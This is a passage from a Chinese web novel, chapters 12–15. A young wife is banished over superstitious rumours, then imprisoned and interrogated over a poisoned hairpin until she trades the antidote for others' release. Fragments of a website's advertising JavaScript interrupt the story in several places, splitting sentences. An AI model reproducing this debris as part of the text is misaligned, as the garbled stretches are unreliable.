赵念曦心知,此时此刻,婆母寻她绝不是一顿饭这么简单的事儿。不得不将手中汤药交给琉璃,又一一叮嘱,“有任何异状,统统记下来,再有不对劲的,立即派人回我,我即刻就来。” “小姐放心,我知道的。” 琉璃看一眼自家小姐,迟疑一瞬小心道:“我听说,自将军重伤,府上便传小姐……”她顿了顿,轻轻吐出“克夫”二字,“小姐当小心应对才是。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “知道了。” 赵念曦抿了抿唇,无心理会这些浑话。 只待夜君慎醒来,流言自然不攻而破。 --- 将近花厅便有浓郁的檀香气味传来,夹杂着烛火硫磺特有的异味,熏得人头脑发胀。 隔着几重厅门,远远便见崔氏坐在上首,正与身边侍女说着话,脸上也看不出什么神情。 赵念曦掩了掩鼻轻轻敛裙进去,恭敬地福身行礼。 “你来了。” 崔氏抬眉示意身边侍女接过食盒,随后放下茶盏勉强笑道:“听底下人说,你也几日未曾好好用饭了,今日便在我这里,就当陪我了。” 自夜君慎重伤回府,崔氏难得这般笑一笑。赵念曦先前还怕她因着流言对自己不满,似乎多虑了。 悬着的心微微放下,赵念曦轻轻颔首。 “好。” 她自幼失恃,纵使面上不显,心底对那份缺失的母爱多少有些执念,婚后更将宽和慈善的婆母当作亲娘来侍奉。 赵念曦顾不上自己用饭,起身熟稔地为崔氏布菜。 “好了,你也坐。” 崔氏转头招呼近身侍女布菜,片刻,一小碗乌鸡汤送至赵念曦面前。 鸡肉酥烂,山药软糯,厚厚的金色油汤上浮着几粒枸杞,红枣。 原本鲜美的一道菜,不知为何赵念曦忽觉喉中泛酸,恶心欲呕。到底长辈跟前,不可失态,忙扒了一口白米饭,生生将那股子不适忍了下去。 饭至中途,崔氏忽然放下筷子,她道:“庄子上牡丹开得正好,自你进府还未曾出去走动过,便暂且上那里住些日子,权当散心了。” 握箸的手一顿,赵念曦心下一惊,料定必是婆母听信了“克夫”的传言,慌忙放下碗筷起身解释,“母亲,我并未做任何对不起夫君,对不起侯府的事——请母亲不要听信不实之言。” “我知道。” 崔氏不得不承认,儿子挑中的媳妇确实孝顺贤惠,懂事明理,但——她不能,也不敢赌。 她狠下心来,直言道:“我唯有这一个儿子,他不能有事。” 12. 第 12 章 莲娘 淮阴侯只得两个儿子。 因早年间崔氏婚后多年无子,老夫人便将娘家侄女给了儿子做侧室。好不容易得了孙儿,阖府上下如获至宝。老夫人自是欣喜,甚至要将其归到崔氏名下。 崔氏焉肯让侯府爵位落到那位庶子头上,终究不肯松口。 老夫人一气之下将孩子抱到自己身边教养,祖孙俩感情深厚。便是后来崔氏生了嫡子,老夫人却仍偏疼这个亲自养大的孙儿。 为了侯府爵位,婆媳俩明里暗里较着劲儿,不知闹了多少笑话。 夜君慎却不屑这袭来的爵位,他十七岁上征战沙场,年纪轻轻便依战功荣封将军,着实给了立在中间摇摆不定的淮阴侯一个耳刮子。 而今,眼看着夜君慎重伤难愈,那边儿暗地里不知多高兴呢。 崔氏以帕拭泪,心中暗恨,若儿子真有个好歹,岂不是要叫那对母子骑在她头上欺辱。 她上前一步,握住赵念曦的手殷切道:“望你能体谅我这个做母亲的不易。” 赵念曦自然懂得她的处境,咬着唇忍泪点头,“母亲,我懂的。” “你肯体谅就好。” 崔氏立即招呼丫环婆子进来,又道:“那边都已准备妥当了,也不必带什么东西。若缺什么,自有人送过去。” 赵念曦这才明白,崔氏早已着手准备送她走。而今不过是知会她一声罢了,枉她还自作多情。 攥着锦帕的手紧了又松,到底心有挂念,她哀求道:“母亲,能不能缓几日?夫君那边……” 崔氏毫不犹豫接过话头,“我的儿子,我自会着人安置妥当,你不必操心。” 若论亲情,自然是她这亲娘更甚一筹的。 赵念曦自嘲一笑,默默行了礼道声“母亲保重”便随早已候在门外的侍女上了马车。 车轮轧轧,看着帘外逐渐荒凉的景象,心中不是不难过的。 她入府虽只半载,但侍奉公婆,孝顺长辈,操持家务等事,该她做的一样也未落下,没曾想最终落得这样一个结果。 嬷嬷瞧一眼赵念曦黯然神伤的模样,笑道:“夫人说了,待日后爷痊愈了,再派人接少夫人回府。” 呵! 赵念曦敷衍一笑,崔氏既已认定她克夫,又怎会轻易再接她回府?! 最终要么休弃她,要么让她在庄子上老死一生。 休弃么! 赵念曦暗嗤一声。 她不甘,也不肯这样受人折辱。想到晨起换药时夜君慎微微颤动的手指,心中缓缓松了一口气。 经过半个多月的修养,夜君慎的伤势总算有了好转的势头,如此,距离清醒便也不远了罢。 届时,若能同他商议和离,终归是比现下这般处境要好上许多的。 于纷乱的脑海中理出一丝头绪,赵念曦缓缓合眼靠在车壁上。 “吁——” 忽听一声吆喝,马车停了下来。妇人低沉的声音在帘外道:“长公主请少夫人入宫一叙。” 长公主…… 赵念曦低呼一声,陡然惊醒。 四周阴森森的,仿佛有股冷寒之气扑面而来,身下薄薄的草席亦散发着令人作呕的恶臭。 她翻身坐起,听见不远处的廊道上时不时传来守卫往来巡查时沉重的脚步声。 怔了怔想起来夜君慎离开不久,自己便被人带到了衙署的地牢。 忆及过往种种,心中更是寒凉一片。 都说那人冷血无情,原先还不信。不想……他宁愿用尽手段也不肯答应救出兄长。 也幸亏她早有所谋,否则便只能同砧板上的鱼肉一样,任人宰割。 抬手拭了拭额间冷汗,忽觉浑身痛痒。凝眉拉下衣衫,只见冷白的肌肤上冒出一片片红疹,不由立即警觉起来。 自她被幽禁,负责看守之人统共只送过一顿馒头,一碗凉水。为避意外,她甚至连口水都未曾碰过,怎么会…… “吱吱——吱——” 忽然一声异响,只见几只眼冒绿光的小东西蹿上桌面。细微的光亮下,隐约可见一条细长的尾巴在破碎的碗沿扫来扫去。 时隔多年,她仍忍受不了这种毛茸茸的小东西,不由惊呼出声。 “怎么回事?” 沉重的脚步声响起,两名 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 守卫从狭长的过道进来。霎时,拖着细长尾巴的小老鼠顺着木栏“唰”地蹿上顶梁,而后不见踪影。 守卫见了眼前一幕,早已见怪不怪,当即呵斥一声,道: “老实点,别大惊小怪。” 正欲合上屋门时,赵念曦忽然开口唤住二人。 “站住!” 她拢了拢单薄的衣衫,冷声道:“换一碗干净的饭菜。” “哟!还当你是千金大小姐呢!” 守卫讥屑一声,又道,“你加害侯爷、毒伤将军,未将你连夜问斩已是天大的恩情,哪里还有资格提要求?!” 发钗等尖锐之物已叫人收走,赵念曦披散着发,随手拎起桌上的粗瓷碗瞧了瞧,冷厉的目光瞥向木栏外,她漫不经心道: “若我染了鼠疫暴毙,届时,谁也救不了你们侯爷,自有人问你的罪!” 那人呵呵一笑,叉起腰语含轻蔑, “我朝自有神医无数,侯爷已遣人快马加鞭至京中请最厉害的太医来为将军诊治。待将军痊愈之时,便是你亡命之时,神气什么!” “可惜啊!” 随着“碰”的一声,瓷碗碎裂一地。 赵念曦随手捡起一块碎片,轻笑一声,“这毒是我亲手所制,放眼天下尚无人能解。你若想多活些时日,最好……放尊重些。 不然,眼下我就能要了你的命。 你信么?” 一个小小的碎瓷片而已,那守卫倒不担心真能被人所伤。但,事关侯爷李将军等人安危,他既奉命看守,自然要保人无虞。若果真出了意外……他也难逃罪责。 也并无意将事态闹大,刚欲骂出口的话硬生生憋了回去,最后不情不愿点头,答应换新的饭菜过来,临走还不忘催促人将瓷碗碎屑一并儿收走。 狱门重又合上,赵念曦抱着臂膀独立在角落,想起那守卫的话心头顿起无力之感。 夜君慎既已遣人去请太医,有结果前泰半是不会见她了。她必须保持体力,以应对接下来将要发生的事。 怔怔想着,忽然,一声熟悉的稚童声音响起, “莲娘!” 13. 第 13 章 审讯 昏朦的微光下,隐约见一五六岁的幼童从暗室尽头寻了过来。 稚嫩的小手扒着木栏,待看清里间之人,霎时眼瞳一亮,“莲娘,你真的在这里!” 赵念曦缓缓起身,上下打量一眼幼童灰头土脸的模样,诧异道: “你怎么在这里?” “你娘呢?” “你们不是三日前就入城了吗?” 一连串追问下来,幼童不免觉得委屈,稚气的声音徐徐说道:“昨晚,那个程大人把我们都抓起来了,还有云姨,三叔叔……” 云舒? 想到入城那日的情形,赵念曦霎时了然——李振与夜君慎二人中了毒,他们又怎会放过她身边的每一个人。 只是,未料这些人动作竟这样快。 幼童攥着赵念曦衣袖,满目欣喜。“我找了好多个屋子呢,可算找到你了。” 赵念曦反手捏一捏他幼嫩的臂膀,查看有无受伤。又问:“他们有没有为难你?” 幼童摇了摇头。 赵念曦默默思量一番他的话,忽而想到什么,立即警惕起来。 外间守卫森严,如何会放任一个孩子四处乱蹿? “你怎么进来的?” “外面的守卫呢?” 那孩童已有六岁,个子瘦瘦小小的,牢房的木栅栏可困不住他。 绕着梁柱转了个圈儿,他得意道:“我个头小,悄悄钻了出来没被他们发现,然后就找到这儿来了。 “门口原本有两个人把守,不过被我引开了。” 赵念曦不由蹙眉。 在关外,他们时常得应对西锦官兵的搜捕。这孩子的机灵,她丝毫不疑。 但……能在夜君慎身边当值的,都是万里挑一的高手,怎会如此轻易就上了当! “莲娘。” 幼童踮起脚尖,开始研究狱门上的铜锁,“你等着,我这就救你出来。” 赵念曦只觉心中百转千回,最后轻轻敲他一记额头,斥道, “没大没小,唤我莲姨。” 幼童吐了吐舌乖乖改了口,而后摸出荷包里的银针继续鼓捣。 “没用的。” 赵念曦拦住了他,“外面的守卫都是一等一的高手,就算咱们出了这道门,也逃不出他们的搜捕。” 再者,事未成,她并不打算逃。更何况还有其他法子可以光明正大的出去。 幼童皱着眉想了想,有些困惑。 “莲姨,那个程大人不是齐国的官兵吗?他们赶走了坏人,不是要救我们吗?为什么还要把我们关起来?” 入城那一日,他还瞧见了程伯骑在高头大马上威风凛凛的模样,那时还悄悄在心底发誓要像他一样手握长枪驰骋疆场,杀遍西锦敌寇。没想到事未成,自己倒先被他心目中的“英雄”给当成叛徒抓进了牢狱。 “他是坏人,我再也不想跟他学骑马射箭了!” “呜呜呜——” 灰扑扑的脸蛋叫泪水冲出两道沟来,赵念曦默然片刻,牵起衣袖擦一擦他脏兮兮的小脸。 “这件事一时半会儿讲不清楚,日后再跟你细说可好!” 幼童还欲再问却忍住了。举袖抹了抹眼角的泪花,懵懵懂懂地点头应下。他不想让莲姨为难。 忽听“咕叽”一声,赵念曦轻笑, “饿了?” 幼童捂着肚子,尴尬摇头,“我不饿。” “昨晚,那些人拿了好多好多好吃的,这么大一筐葡萄,这么大的蜜瓜,还有整只的烤羊腿……” 他拿手比划着,摇头,“但是,我什么都没有要。” 他轻哼一声,撇过脸面带不屑,“这些东西,我都已经吃腻了,才不稀罕呢。” 赵念曦闻言,微微放下心来。 至少,他们没有对一个孩子严刑殴打。 从荷包里摸出两块手绢包裹好的点心,她道:“吃吧!” “哇!” 幼童闻着香味,惊呼一声,“莲姨,这是什么?哪里来的?” 赵念曦轻笑着,捏一捏他肉嘟嘟的小脸,“方才不是还说不饿?” 又耐心解释,“这是软香糕,甜的。” “哦。” 幼童小心翼翼接过,而后将一块糕点喂至赵念曦唇边,“莲姨,你也吃。” “不用,我已经吃过了。”赵念曦顺手揉一揉他细软的发,柔声道,“这些是特意留给你的。” 幼童这才握着糕点细细品尝起来。 “很甜,好好吃呀。” 见他一副满足的模样,赵念曦抬手轻轻擦一擦幼童嘴角的糖糕屑,她温婉道:“过几日,再过几日……你们就能平安回家去了。往后,让你娘送你读书,识字可好?” “那你呢?”幼童咬着糕点,闷声道,“我娘说,你要回黔州了?” “嗯。” 赵念曦点头。 记忆中,夜君慎从不是滥杀无辜之人。但是,而今的他,冷酷绝情,她不敢赌,也不能赌。 她会交出解药,前提是,必须先送无关之人回乡。 伴着衣甲霍霍之声,寂静的地牢里忽传来男子粗犷的大喝, “人在哪里?带我去!” 沉重的脚步声越来越近,赵念曦紧凝着眉,立即吩咐眼前幼童,“到我身后来。” 幼童便如小兔般乖乖躲在其身后。 不多时,两名守卫举着火把在前,一面容粗犷、身姿壮硕的中年将领紧随其后,大步跨进门来。 正是常峪。 他将手中利剑重重拍在桌案上,随即大刀阔斧坐下。 “把门打开!” “将人带过来!” 守卫从腰间掏出一串钥匙,开了狱门忽见赵念曦身边跟着一幼童,顿时诧异道: “哟!哪里来的小毛孩儿?” 常峪听闻,探头问道:“怎么回事?” 身边一人上前瞧了一眼,随即解释道:“这是昨晚程校尉带回来的孩子,是与此妇人相关之人。” “哦?”常峪立即吩咐身边人,“统统带过来!” 赵念曦闻言,轻轻放开幼童柔嫩的小手。她缓步上前,在案前站定,清冷的声音淡淡道:“此事乃我一人所为,与旁人无关。” “好!敢作敢当!有骨气!” 常峪一拍桌案,继而追问道:“这毒是哪里来的?你又是受何人指使?” “并无人指使。” “哦?是么?” 常峪猛然起身,而后阔步走向一旁的幼童,宽厚粗糙的大掌揉了揉孩子脑门,他打量道: “小娃娃,几岁了?” 幼 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 童瞪着圆溜溜的眼,没有吱声。常峪轻轻瞥一眼身侧的赵念曦,又问:“她是你什么人?” 幼童啐一声,道:“我不跟坏人说话。” “臭小子!嘴还挺硬。” 常峪咧嘴一笑,大掌忽然钳住幼童下颌,犀利的目光往壁上血迹斑驳的刑具一扫,笑道: “这些东西,你怕是还没见识过罢!” 拿手上下一比划,又嗤道:“就你这小不点儿,抓起来一审,保准尿裤子!” “哈哈哈!” 一众人紧跟着大声哄笑起来。 幼童“呸”一声,面带不屑,“你胡说,我才不尿裤子。” 唾沫星子溅了常峪一脸,他瞪着眼,稍稍使力便如同拎小鸡一般将幼童提溜了起来。 “我看你小子是活腻了罢!” “住手!” 赵念曦见势不利,立即上前阻拦。 “哟~急了?”常峪斜乜一眼面前女子,轻笑道,“这小子是你什么人?” 赵念曦冷冷一笑,锋锐的目光紧盯着面前之人,怒斥道:“定远侯行事向来磊落,你们身为下属却恃强凌弱,如此欺负一个无知小儿,不怕坏了你们侯爷的名声?!” “哟!嘴还挺厉害!” 常峪嗤笑一声,“可惜——对付什么人就得用什么招!你阴险狡诈,设计重伤我们侯爷在先,也休怪我们不客气。今日若是不交出解药,别想活着从这里走出去!” 说罢,指了指身后武器各异的兵士,又道:“若等他们出手,保管你不死也脱层皮!还有这个小娃娃……” 抬手拍了拍幼童稚嫩的脸蛋,“啧”一声道:“瞧这细皮嫩肉的模样儿,一看就经不住事儿。你说是吧?!” 幼童在他手中挣扎着,却逃不开钳制,脸色早已憋得通红。 “放了他。” 赵念曦咬着唇,无力辩驳。 她不过一手无缚鸡之力的妇人,没有与之抗争的筹码,不得不败下阵来。 常峪很满意这般结果,随手将幼童扔给一旁的守卫。转至案旁坐下,他叩了叩桌面缓缓道:“不光解药,还有……这毒从哪里来,以及背后受何人指使,统统老实交代。” 见幼童暂时无虞,赵念曦悬着的心微微放下。沉吟一瞬,淡淡开口:“为防意外,需请你们侯爷过来,我亲自交给他。” 常峪闻言,不禁嗤笑一声。“侯爷军务繁忙,哪是你想见就能见的?!” 说罢,又抬手指了指一众人,冷声威胁,“这么多弟兄盯着,别想再耍什么花招!” 赵念曦缓缓抬眸,目光沉静。“我不过一介妇人,在将军面前能耍什么花招?!” 转念一想,不由淡淡一笑,“素闻将军勇武,不会是怕了吧?” “大胆!” 守卫厉喝一声,“再敢口出狂言,休怪我们不客气。” 常峪亦冷笑,若非顾忌侯爷,便是此刻拔刀杀了这妇人也使得。 忍了又忍,终是提剑怒斥:“我看你是不见刀子不落泪!” “来人!” “押下去!” 守卫顿了顿,往外使眼色。 常峪见他面色怪异,继而斥道:“还愣着做什么?!” 转身之际,陡然撞上来人,不由惊呼一声。 “侯爷!” 14. 第 14 章 恩怨 “侯爷,您怎么来了?” 狭窄的地牢里陡然涌进十余人,一时拥挤异常。 常峪惶惶后退半步,诧异道:“此地污秽,您有吩咐只需差人过来报个信就好。” 暗室由巨石砌成,风透不进来,却阴冷异常。 夜君慎人高马大,挺拔的身躯径直往前一站,本就狭小的空间更显逼仄。冷峻的目光轻扫一眼众人,凝眉质问, “李振受伤,你不去城门当值,来这里作何?” 清冷的嗓音里,暗含愠怒。一众人纷纷垂首,不禁胆寒。 常峪立即解释道:“听闻侯爷遭奸人算计,末将实在担忧,特地亲自审问,以解侯爷之困。” 不料,夜君慎闻之大怒。他斥道: “死我一人有何惧?!难道我死了,你便要弃城而逃?!” 常峪闻言一时羞愧难当。 侯爷岂是贪生怕死之辈!他一番话,无异于将其置于不义之地。 “侯爷息怒。” 他立即拱手,硬着头皮解释,“末将只是担忧侯爷安危,并无他意。” 常峪到底是一军将领,此刻奸细未清,余孽未除,实不宜内讧叫人有可乘之机。 夜君慎侧过身,也无意再为难。只冷声道:“其余诸事我自会着人处置,你不必插手。再多嘴,贻误军机军法处置!” “是!” “末将这就去视察城门。” 军情当先,常峪再不敢分辩,立即抱着铁胄大步离开。 赵念曦抱臂立于一旁,静静看人耍威风不由冷哼一声。 杀鸡儆猴的戏码,她不是没见过。 这就想唬住她?! 可笑! 随着众人离开,余下一名小将瞧一眼手中幼童,一时手足无措。怔愣一瞬他弯身放下这颗烫手山芋,紧跟着夺门而逃。 “哎哟!” 幼童陡然叫人扔下地,颤巍一瞬,被一只有力的大掌捞了起来。 圆溜溜的眼怔怔望着面前冷峻的脸,心道,这人看着挺凶,却有一副好心肠。方才也教训了那个欺负他的坏蛋,真是个好人呀。 “臭小子,撒手。” 一旁的军士低斥一声,欲将幼童接过。 幼童仰起脸,注意到面前之人冷厉的目光,悻悻松了扒拉着他衣袍的小手。 霎时,墨色织锦蟠螭纹衣袖上留下一大团嫩黄色甜糕屑。 “我帮你擦。” 直觉男子会生气,他立即抬起稚嫩的小手,使劲儿拍打衣袖上残余的糕点屑,哪知越拍越脏…… 他抬起头,有些委屈。 心道,如果不是这人拽了他,自己顶多也就摔个屁股敦,疼一下就好了,没什么大事。 是他自己伸手要来扶他的。 顿了顿,瞪着圆溜的眼呐呐道歉,“我不是故意的。” 目光清澈,且无辜。 夜君慎凝着眉,似闻到一丝熟悉的甜香味,是……御膳房的软香糕。 因为她喜欢,所以他,也喜欢。 瞧一眼幼童脏兮兮的小脸,红润的唇角还挂着些许甜糕碎屑。 他想起来,府上派人送来的吃食,他统统赏给了部下。 “哪里来的孩子?” 守卫立即上前,回禀道: “回侯爷,这孩子是昨晚程校尉带回来的,不知什么时候跑了出来,属下这就送他回去。” 既然是程伯带回来的,自是与眼前女子有关之人。夜君慎摆了摆手,那守卫便拽着幼童离开。 两抹暗影渐渐消失在廊道尽头,赵念曦默默收回视线,悬着的一颗心微微放下。 尚未来得及松一口气,忽听一声低斥,“臭小子,站住!” 眨眼的功夫,幼童已折返回来。 小小的身子立在高俊的男子身前,他仰着头,仿佛看一棵老松。 “你为什么要抓我们?” 赵念曦只觉眉心一跳,不动声色上前一步。 “阿宝!” 不经意瞥一眼一旁魁伟挺拔的身影,赵念曦暗自嗤笑一声。就算他有本事请来神医,终究远水救不了近火。 眸光无声交汇,二人很快达成某种协议。 理一理幼童扭曲的衣襟,赵念曦低声哄道:“你娘在外面等你呢,你先出去。” “真的?” 幼童凝着眉,抬头看向夜君慎,“你真的,放了我娘?” 夜君慎看着这孩子瘦小的模样,也无意为难。修长的指掸了掸衣袖上的脏污,他转头吩咐下属, “将南苑那座宅子洒扫出来,先安置人住下。” “是。” 守卫得了吩咐,弯腰揽起幼童。“走吧。” 幼童欣喜不已,朝着夜君慎一拜,“大叔,你真是一个好人。” 夜君慎拧着眉,神色复杂。 幼童转过头又问,“莲姨,那你呢?” 赵念曦抬手捏一捏他肉嘟嘟的小脸,低声哄道,“等我料理完手上的事就去找你们,可好?” “哦。” 幼童懵懵懂懂点头。 守卫立在一旁,悄悄擦一擦脑门上的汗,赶紧拽着人离开。 他们这一走,原本逼仄的囚室立即敞亮了许多。 下人掌了灯,屋内简陋的陈设一览无余。 夜君慎抬眼打量一番周遭景象,清隽的目光再次落在面前女子身上。 她身量纤长,青丝覆住半边面容,只隐约瞧见挺直的鼻梁,瘦削的下颌。 一袭再普通不过的素色衫裙,却难掩出尘气度。 半晌无人说话,赵念曦漫不经心抬眸,瞥到那人打量的目光,不由心底一沉。 她轻咬着唇,倔强的眸子里带着一丝警惕。 良久对视之后,倒是夜君慎最先败下阵来。面前之人虽与发妻有着相似的容貌,气质却又迥然不同。 他知道,她不是她。 缓缓收回视线,他似漫不经心般问道: “赵念桢?” “哪里人士?” 赵念曦恍若未闻,静静立在一旁闭目不答。 夜君慎把玩着拇指上的玉扳指,继续追问:“听你说,曾寄居佛寺!敢问是哪一座寺院?” 赵念曦心知,一旦开口他必定要派人去查的,轻笑一声冷冷道:“修行之人,四海为家,难道侯爷不知?” 这般无礼讥讽,夜君慎也不甚在意,探寻的目光再次落在女子面上,他道:“我只是好奇,赵奕曾官至尚书,居三品之位,难道就没有想过接女儿回府?” 赵念曦勾了勾唇,心道,待他查清真相那日,一切早已尘埃落定。 至于她到底是谁,有什么要紧! “信与不信,全在侯爷一念之间。况且,你现在没有解药,一切皆由我说了算。” 夜君慎望着眼前 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 女子倔强的模样,忽然笑了。 他不惯与妇人争执,打算就此揭过。眸光一转,忽然瞥到一抹异色, “脸怎么了?” 赵念曦怔了怔,忽然反应过来,纤指拢了拢衣衫遮住脖颈, “侯爷冒昧了。” 夜君慎凝眉,随即转头吩咐下属,“唤大夫来。” “不必了。” 赵念曦攥着衣衫,惶惶开口拒绝。只不过,候在门口的军士自然不会听命于她,匆匆领命而去。 赵念曦轻咬着唇,神色复杂。 软香糕甜腻的馨香在鼻尖萦绕,夜君慎瞥一眼面前女子,淡淡道: “赵家与侯府是姻亲,赵延又是本侯舅兄,没有见死不救的道理。 待回京复命,我会奏请圣上彻查赵延一案,届时,自会给你,给赵家一个交代。” “只是,本侯与赵家的恩怨,不该牵涉无辜之人,还请拿出一部分解药,先救了李振。” 赵念曦全然不信他这鬼话。 只一个奏请,又有何用?! 圣上准与不准,赦不不赦全然未知。当她似三岁稚儿一般好诓骗么? 她嗤笑一声,道:“那就等侯爷有了好消息时,再说罢!” 夜君慎不禁凝眉。 这妇人简直油盐不进。 他失了耐心,目光沉沉,声音亦冷淡了许多。 “念在你赵氏女的身份,本侯给你体面,未派人搜身,不过,你若不知好歹,也休怪人不客气。” “是么?”赵念曦缓缓抬眸,冷冷回道,“侯爷未派人搜我的身,不过是料到我身上没有解药。 何来‘体面’一说!” 夜君慎咬着牙,终于感觉到一丝丝头疼。 这妇人牙尖嘴利,他堂堂男儿,也不至对一群妇孺动用私刑。 顿了顿,终于将最狠的话说了出来。 “据我所知,你与云潇珩等人往来甚密,这支发钗也曾经他之手,本侯便是将他抓起来严刑拷问也不为过。” “哦,对了,我听说,还有个叫王孝之的人,对你的过往颇为清楚……” “你可以什么都不说,但是难保他们不会供出什么来,届时……可就难以收场了。” 赵念曦听闻“王孝之”几字,瞳孔微震,浑身血液都仿佛冻住一般。 那人就是入城时,咄咄相逼,差点儿与云舒干仗的恶人。 她抬起头,面色冷白。 “此事由我一人所为,旁人皆不知情。” “早听闻侯爷作战勇武,是百姓诚心钦佩敬仰之人,我相信侯爷必会公正处事,若滥用私刑,不仅失了侯爷的气量风度,也有损侯爷威严。” “再者——” 赵念曦看向夜君慎,目光灼灼,“侯爷方才还说,俩家的私人恩怨不该牵涉旁人,这会儿却又拿旁人威胁于我,唱的又是哪一出?” “私人恩怨?” 夜君慎气急,“据我得来的消息,这发钗上的毒为西锦所有,若叫人查出你与西锦余孽有所勾连,本侯也保不了你。” “哦,还有你那远在岭南的兄长——赵延,也难免要受牵连。” 瞧一眼面前女子目光怔怔的模样,他冷声劝诫,“现在交出解药,我还可网开一面,压下此事。否则,待事情上奏朝廷,可就不是我一人说了算的。” “给你一炷香的工夫,你好好想想罢。!” 15. 第 15 章 妥协 烛光摇曳,扑火的飞蛾误触上梁柱间的蛛网,单薄的翅时不时扑棱两下,无助挣扎。 丝网震颤,隐匿在暗处的长毛蛛从黢黑的角落里钻了出来,臃肿的身躯在青色石壁上投射出一道硕大的残影。 赵念曦坐在灯前,只觉心乱如麻。 发钗上的毒减了药性,只是症状看着可怖而已,并不足以致命。 她再不知轻重也不会愚蠢到这般地步,留下把柄教人治罪。 只是,继续僵持下去,夜君慎再往深了一查,抑或王孝之吐出什么不该说的话来,才叫人生畏。 再者,云潇珩到底有功在身,尚有大好前途,她不该连累他。 思虑片刻,她淡淡开口,“取笔墨来吧。” 守卫瞧一眼夜君慎,立即按吩咐去办。 须臾,一方青石鱼子纹砚摆上残破的方桌,紧接着是纸笔等物。 纤细的指摩挲着笔管,赵念曦心知,一旦交出解药,自己离死也就不远了。 沉吟一瞬,她忽然抬眸,淡声道: “我可以交出解药,只是,有一个条件。” “放了与此事无关之人,送他们还乡。” 夜君慎颔首应下。 得了承诺,赵念曦这才提笔。 昏黄的烛光对面,夜君慎从始至终紧拧着眉,清隽的目光从冷白的宣纸,到颤抖的指尖,再到女子眸光中的晶莹…… 不知为何,忽然想起离别那一日,妻子梨花带雨,却强忍着不肯落泪的模样…… 记忆中的情形与眼前身影渐渐交融时,不禁怔了一瞬,直到下属递上未干的笔墨他方回过神。 也无心细看,径直让人收了起来。 赵念曦扔下狼毫,面色有些苍白。缓缓抬眸,她道: “侯爷别忘了答应救我兄长的事。” 夜君慎点头。 “绝无戏言。” 赵念曦虽心有疑虑,听了这般承诺,到底还是抱了一丝丝希望。 “多谢侯爷。” 她喃喃着扶着桌案起身,忽觉眼前一黑。倒地前一截有力的臂膀伸了过来,稳稳将她扶住。 暖热的大掌隔着单薄的衣衫相触,赵念曦只觉汗毛倒竖,浑身鸡皮疙瘩骤起。 夜君慎凝眉,转头问身边人,“大夫呢?” “大夫?”守卫怔了一瞬,随即反应过来,“属下这就去催一催。” 说罢,立即前去唤人。 “我无碍。” 整整一日没有进食,赵念曦实在饿的狠了,后背冷汗涔涔。待那阵眩晕过去,她凝着眉欲收回手腕,下一瞬却被人打横抱起,不由低呼一声下意识攥住手下衣襟。 草药的清香在鼻尖萦绕,她僵着身子,丝毫不敢动弹。 夜君慎步履稳健,轻松穿过几条狭长的暗道,过长廊入垂花门,而后在一处僻静的院落前停下。 两名老仆迎了上来,恭敬行礼。 夜君慎径直将人放下,只吩咐好生照看便仓促离开。 赵念曦立在廊庑下,回首瞥一眼那抹健步如飞的身影,心中暗嗤一声, 原还以为他察觉了什么,却是她多心了。 这样看来,那人也不算太过冷酷绝情。只是,太过相信他人,终归是要栽跟头的。 “李……呃,赵姑娘……” 就在这时,程伯拖着大夫匆匆赶来。 赵念曦回过神,瞧一眼他身后的白发老者,默默转过身去,“我已说过,并无大碍。” 程伯上前一步,态度不容置疑。 “这是侯爷的意思,我等也是听吩咐办事,稍后还需复命,请赵姑娘配合。” 说罢,朝那老者示意。 白发老者上前拱手一揖,而后将手中药箱往案前一搁,缓缓取出腕枕。 清明的目光在赵念曦略微红肿的小半边面部停留一瞬,他徐徐劝道:“姑娘该知道,讳疾忌医,不治将益深的道理。” 赵念曦却似未曾听见一般,端坐在案前纹丝不动。 老者瞧一眼女子不悦的神色,未再勉强。 默默瞥一眼赵念曦腕上一处红疹,最后凭着经验诊断为水土不服,饮食不调,而后写下一副药方便打算离开。 “李老。” 程伯不放心,拦住老者皱眉问了一句:“你确定有用?” “放心罢!” 老者回身朝他施了一礼,道,“就这几日,相似症状的人我已看了好几例,错不了。” 想一想,也是。 这些人离乡日久,陡然换了饮食,呕吐腹泻也是常有的事。 程伯松了手放人离开,又转身吩咐底下人去熬药,准备晚膳。 赵念曦心知,他们之所以如此紧张,不过是怕她病死了,拿不到解药夜君慎与李振二人俱危。 缓缓扫视一眼众人,心中冷嗤一声。 敞亮的花厅里,奇花灼烁,异香扑鼻。 下人陆续奉上膳食,因有大夫嘱咐,便只备了些清淡易克化的肉糜,小粥和时蔬。 近两日没有进食,赵念曦实在饿了。这时候,气节什么的都是狗屁,不填饱肚子,如何有气力与人周旋。 才捧起碗,忽听院外传来女子略显焦急的呼唤, “莲娘?” “莲娘,你在吗?” 是……云舒的声音。 赵念曦默默回首,看向底下人,“让她进来。” “这……” 那姓宋的嬷嬷迟疑着道,“院外有程校尉把守,想必轻易不会放人进来。” 赵念曦轻轻颔首,表示理解。 但是云舒……自城门一别,她无辜受累被人抓进衙门,心中必有许多不明之处,若不解释清楚,恐怕不会罢休。 鸡丝粥熬得软糯,她几口吃完,放下碗筷。 “我去看看。” 清风徐徐,满苑山樱纷纷落落,或红或白撒了一地。 踏着香风匆匆行至苑门前,只见女子正与守卫争执着什么,待见了她到来,霎时眸光一亮。 “莲娘?” “你还好吧?” 赵念曦打量她一眼,点一点头。 “我看到大夫刚从这里出去,你怎么了?” “他们有没有欺负你?” 云舒焦急上前,欲越过守卫时再次叫人拦下。 “退开!否则,休怪我不客气!” 程伯一把抽出随身佩剑,怒声警告。 云舒冷笑一声,也不甘示弱。她出言讥讽道:“你一个男人,只会冲着女人大喊大叫算什么本事?!真有能耐,怎不去阵前杀敌?何苦守着女人院子,和我们过不去?!” 程伯本就对这差事不满,闻言更是气得脸色铁青,当即吩咐下属,“来人!将这个胡搅蛮缠的疯妇带下去,严加看守。谁再放她出来,罚俸半月!” “你敢?!” 云舒叉着腰,高声道:“敢问程大人,我是杀了人,放了火,还是犯了哪条律法?你凭什么关我?” “云舒。” 眼见俩人剑拔弩张,赵念曦忙出言制止,“此事皆因我而起,待我解决这桩麻烦,他们自会放了你。” 